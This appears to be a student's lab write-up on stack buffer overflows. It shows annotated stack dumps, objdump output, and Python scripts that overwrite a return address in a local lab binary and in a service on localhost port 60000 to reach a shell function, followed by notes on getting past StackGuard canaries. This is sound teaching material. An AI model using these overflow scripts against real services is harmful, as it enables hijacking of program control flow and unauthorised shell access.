

Activity 10 : Buffer Overflow

1. Stack Layout

```
flap@AVALON:~$ ./ex1
&main = 0x00007f43bcfaa155
&myfunction = 0x00007f43bcfaa1be
&ret_addr = 0x00007f43bcfaa1ab
&i = 0x00007ffff925934c
sizeof(pointer) is 8
&buf[0] = 0x00007ffff9259350
0x00007ffff925938c: 0x43
0x00007ffff925938b: 0xbc      0x00007ffff925938a: 0xdc      0x00007ffff9259389: 0x40      0x00007ffff9259388: 0x9b
0x00007ffff9259387: 0x00      0x00007ffff9259386: 0x00      0x00007ffff9259385: 0x7f      0x00007ffff9259384: 0x43
0x00007ffff9259383: 0xbc      0x00007ffff9259382: 0xfa      0x00007ffff9259381: 0xa2      0x00007ffff9259380: 0xc0
0x00007ffff925937f: 0x00      0x00007ffff925937e: 0x00      0x00007ffff925937d: 0x7f      0x00007ffff925937c: 0x43
0x00007ffff925937b: 0xbc      0x00007ffff925937a: 0xfa      0x00007ffff9259379: 0xa1      0x00007ffff9259378: 0xab
0x00007ffff9259377: 0x00      0x00007ffff9259376: 0x00      0x00007ffff9259375: 0x7f      0x00007ffff9259374: 0xff
0x00007ffff9259373: 0xf9      0x00007ffff9259372: 0x25      0x00007ffff9259371: 0x93      0x00007ffff9259370: 0x80
0x00007ffff925936f: 0x00      0x00007ffff925936e: 0x00      0x00007ffff925936d: 0x7f      0x00007ffff925936c: 0x43
0x00007ffff925936b: 0xbc      0x00007ffff925936a: 0xf9      0x00007ffff9259369: 0x91      0x00007ffff9259368: 0x90
0x00007ffff9259367: 0x00      0x00007ffff9259366: 0x00      0x00007ffff9259365: 0x00      0x00007ffff9259364: 0x00
0x00007ffff9259363: 0x00      0x00007ffff9259362: 0x38      0x00007ffff9259361: 0x37      0x00007ffff9259360: 0x36
0x00007ffff925935f: 0x35      0x00007ffff925935e: 0x34      0x00007ffff925935d: 0x33      0x00007ffff925935c: 0x32
0x00007ffff925935b: 0x31      0x00007ffff925935a: 0x30      0x00007ffff9259359: 0x39      0x00007ffff9259358: 0x38
0x00007ffff9259357: 0x37      0x00007ffff9259356: 0x36      0x00007ffff9259355: 0x35      0x00007ffff9259354: 0x34
0x00007ffff9259353: 0x33      0x00007ffff9259352: 0x32      0x00007ffff9259351: 0x31
... end

flap@AVALON:~$ ./ex1
main = 0x00007f43bcfaa155
myfunction = 0x00007f43bcfaa1be
&ret_addr = 0x00007f43bcfaa1ab
i = 0x00007ffff925934c
sizeof(pointer) is 8
buf[0] = 0x00007ffff9259350
0x00007ffff925938c: 0x43
0x00007ffff925938b: 0xbc      main addr 0x00007ffff925938a: 0xdc      0x00007ffff9259389: 0x40      0x00007ffff9259388: 0x9b
0x00007ffff9259387: 0x00      function addr 0x00007ffff9259386: 0x00      0x00007ffff9259385: 0x7f      0x00007ffff9259384: 0x43
0x00007ffff9259383: 0xbc      0x00007ffff9259382: 0xfa      0x00007ffff9259381: 0xa2      0x00007ffff9259380: 0xc0
0x00007ffff925937f: 0x00      return addr 0x00007ffff925937e: 0x00      0x00007ffff925937d: 0x7f      0x00007ffff925937c: 0x43
0x00007ffff925937b: 0xbc      0x00007ffff925937a: 0xfa      0x00007ffff9259379: 0xa1      0x00007ffff9259378: 0xab
0x00007ffff9259377: 0x00      i address 0x00007ffff9259376: 0x00      0x00007ffff9259375: 0x7f      0x00007ffff9259374: 0xff
0x00007ffff9259373: 0xf9      0x00007ffff9259372: 0x25      0x00007ffff9259371: 0x93      0x00007ffff9259370: 0x80
0x00007ffff925936f: 0x00      0x00007ffff925936e: 0x00      0x00007ffff925936d: 0x7f      0x00007ffff925936c: 0x43
0x00007ffff925936b: 0xbc      local var? 0x00007ffff925936a: 0xf9      0x00007ffff9259369: 0x91      0x00007ffff9259368: 0x90
0x00007ffff9259367: 0x00      0x00007ffff9259366: 0x00      0x00007ffff9259365: 0x00      0x00007ffff9259364: 0x00
0x00007ffff9259363: 0x00      0x00007ffff9259362: 0x38      0x00007ffff9259361: 0x37      0x00007ffff9259360: 0x36
0x00007ffff925935f: 0x35      buf 0x00007ffff925935e: 0x34      0x00007ffff925935d: 0x33      0x00007ffff925935c: 0x32
0x00007ffff925935b: 0x31      0x00007ffff925935a: 0x30      0x00007ffff9259359: 0x39      0x00007ffff9259358: 0x38
0x00007ffff9259357: 0x37      0x00007ffff9259356: 0x36      0x00007ffff9259355: 0x35      0x00007ffff9259354: 0x34
0x00007ffff9259353: 0x33      0x00007ffff9259352: 0x32      0x00007ffff9259351: 0x31
... end
```

2.

Greeting addr

```
flap@AVALON:~$ objdump -d ex2 | grep greeting
0000000000401162 <greeting>:
 401330: 48 8d 35 2b fe ff ff    lea    -0x1d5(%rip),%rsi    # 401162 <greeting>
 40134d: e8 10 fe ff ff        callq  401162 <greeting>
```

Python code

```
flap@AVALON:~$ cat of.py
import os
buff=40*(b'x')
addr=bytearray.fromhex("401162")
addr.reverse()
buff+=addr
print("exec ./ex2 with buff",buff)
os.execv('./ex2',['./ex2',buff])
flap@AVALON:~$
```

Result

```
flap@AVALON:~$ python3 of.py
exec ./ex2 with buff b'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxb\x11@
&main = 0x4012f1
&myfunction = 0x4011f3
&greeting = 0x401162
Welcome to exercise II
I hope you enjoy it

&i = 0x7ffffef76b83c
&buf[0] = 0x7ffffef76b840
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxb@
Welcome to exercise II
I hope you enjoy it

Segmentation fault (core dumped)
```

3. Python code

```
#!/usr/bin/python3
import telnetlib
# open connection
tn=telnetlib.Telnet("127.0.0.1",60000)
tn.write(b'1')
#offset=40
#target_addr="5647740e61b5"
offset=int(input("Offset (40?):"))
target_addr=input("Target (shell) address (eg. 5647740e61b5):")
buff=offset*(b'x')
addr=bytearray.fromhex(target_addr)
addr.reverse()
buff+=addr
# sending buffer
tn.write(buff)
# emulate telnet/terminal
tn.interact()
```

result



YOU ARE
HACKING
This is just for demonstration.

4. It's possible

On standard frame pointer overwrite exploits([11]), on the first return you gain control over the frame pointer, and right before the second return you gain control over the stack pointer, hence controlling where the function will return. On StackShielded programs, as return addresses are maintained in a global array, even if you control the stack pointer, you won't be able to hook the execution flow on the second return⁸. If the program is protected with StackGuard, the thing is a little different. The default for StackGuard⁹ is to use a terminator canary, a fixed value of 0x000aff0d. With common string operations it's not possible to write past this canary, but it's possible to write up to the canary, without altering it, effectively gaining full control of the frame pointer

- ref: <https://www.cs.purdue.edu/homes/xyzhang/spring07/Papers/defeat-stackguard.pdf>

5. - It's not trivial since it can cause a lot of damage.

- The securecode can be write by beware of possible overflow input